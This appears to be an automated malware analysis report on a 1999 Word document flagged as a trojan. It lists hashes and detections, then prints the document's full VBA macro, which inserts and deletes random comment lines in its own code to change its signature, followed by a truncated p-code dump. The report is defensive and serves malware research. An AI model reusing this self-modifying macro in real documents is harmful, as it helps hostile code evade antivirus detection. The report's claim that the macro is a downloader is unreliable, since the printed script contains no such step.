Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3fa1307ebd806023…

MALICIOUS

Office (OLE)

43.5 KB Created: 1999-06-11 17:13:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 02f6e2e2e7cf59659763ecc9ed414c4d SHA-1: 6af51c7c4ef5ce5771cd6d80d4407d0583884437 SHA-256: 3fa1307ebd80602320f7189f8bc0356477d5a5aa9e012e5950d449aa8bbc177d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV with multiple critical detections, including 'Doc.Trojan.Noswan-1' and 'Win.Tool.W97M-7'. Static analysis revealed the presence of VBA macros within the document. The extracted VBA script, named 'SOPS', contains obfuscation techniques and a subroutine 'SomeOtherPolymorphicSystem' that appears to manipulate its own code by adding or removing 'Rem' lines, suggesting a polymorphic or self-modifying behavior intended to evade detection. While no direct download URLs or execution commands are explicitly present in the script, its structure strongly indicates it's a downloader or dropper for a second-stage payload.

Heuristics 2

  • ClamAV: Doc.Trojan.Noswan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Noswan-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4342 bytes
SHA-256: 42a5e3664c6547640587e8757510597d19ebe8e7ca9579ebae01a977ca16062a
Detection
ClamAV: Win.Tool.W97M-7
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SOPS"
Sub SomeOtherPolymorphicSystem()
On Error Resume Next

Randomize

ActiveLines = Application.VBE.ActiveVBProject.VBComponents("SOPS").CodeModule.CountOfLines

If ActiveLines > 65 Then
    
    With Application.VBE.ActiveVBProject.VBComponents("SOPS").CodeModule
    
        For TheLine = 1 To .CountOfLines
            If Left(.Lines(TheLine, 1), 3) = "Rem" Then .DeleteLines TheLine
        Next TheLine
    
    End With
    
Else
    
    With Application.VBE.ActiveVBProject.VBComponents("SOPS").CodeModule
    
        PolySize = Int(Rnd * 10)
    
        For PolyMorphic = 1 To PolySize
            
            PolyString = ""
            PolyLines = .CountOfLines
            
            RndLine = Int(Rnd * PolyLines) + 1
            StringSize = Int(Rnd * 39) + 1
            
                For SomeString = 1 To StringSize
                    PolyString = PolyString & Chr(65 + Int(Rnd * 22)) & Chr(122 - Int(Rnd * 22))
                Next SomeString
            
            .InsertLines RndLine, "Rem " & PolyString
        
        Next PolyMorphic

    End With

End If

End Sub

' Processing file: /opt/analyzer/scan_staging/16dce954f30b47958d0773bee0a9c076.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1351 bytes
' Macros/VBA/SOPS - 15989 bytes
' Line #0:
' 	FuncDefn (Sub SomeOtherPolymorphicSystem())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' Line #3:
' 	ArgsCall Read 0x0000 
' Line #4:
' Line #5:
' 	LitStr 0x0004 "SOPS"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St ActiveLines 
' Line #6:
' Line #7:
' 	Ld ActiveLines 
' 	LitDI2 0x0041 
' 	Gt 
' 	IfBlock 
' Line #8:
' Line #9:
' 	StartWithExpr 
' 	LitStr 0x0004 "SOPS"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #10:
' Line #11:
' 	StartForVariable 
' 	Ld TheLine 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	For 
' Line #12:
' 	Ld TheLine 
' 	LitDI2 0x0001 
' 	ArgsMemLdWith Lines 0x0002 
' 	LitDI2 0x0003 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0003 "Rem"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld TheLine 
' 	ArgsMemCallWith DeleteLines 0x0001 
' 	EndIf 
' Line #13:
' 	StartForVariable 
' 	Ld TheLine 
' 	EndForVariable 
' 	NextVar 
' Line #14:
' Line #15:
' 	EndWith 
' Line #16:
' Line #17:
' 	ElseBlock 
' Line #18:
' Line #19:
' 	StartWithExpr 
' 	LitStr 0x0004 "SOPS"
' 	Ld Application 
' 	MemLd VBE 
' 	MemLd ActiveVBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #20:
' Line #21:
' 	Ld Rnd 
' 	LitDI2 0x000A 
' 	Mul 
' 	FnInt 
' 	St PolySize 
' Line #22:
' Line #23:
' 	StartForVariable 
' 	Ld PolyMorphic 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld PolySize 
' 	For 
' Line #24:
' Line #25:
' 	LitStr 0x0000 ""
' 	St PolyString 
' Line #26:
' 	MemLdWith CountOfLines 
' 	St PolyLines 
' Line #27:
' Line #28:
' 	Ld Rnd 
' 	Ld PolyLines 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St RndLine 
' Line #29:
' 	Ld Rnd 
' 	LitDI2 0x0027 
' 	Mul 
' 	FnInt 
' 	LitDI2 0x0001 
' 	Add 
' 	St StringSize 
' Line #30:
' Line #31:
' 	StartForVariable 
' 	Ld SomeString 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld StringSize 
' 	For 
' Line #32:
' 	Ld PolyString 
' 	LitDI2 0x0041 
' 	Ld Rnd 
' 	LitDI2 0x0016 
' 	Mul 
' 	FnInt 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitDI2 0x007A 
' 	Ld Rnd 
' 	LitDI2 0x0016 
' 	Mul 
' 	FnInt 
' 	Sub 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St PolyString 
' Line #33:
' 	StartForVariable 
' 	Ld SomeString 
' 	EndForVariable 
' 	NextVar 
' Line #34:
' Line #35:
' 	Ld RndLine 
' 	LitStr 0x0004 "Rem "
' 	Ld PolyString 
' 	Concat 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.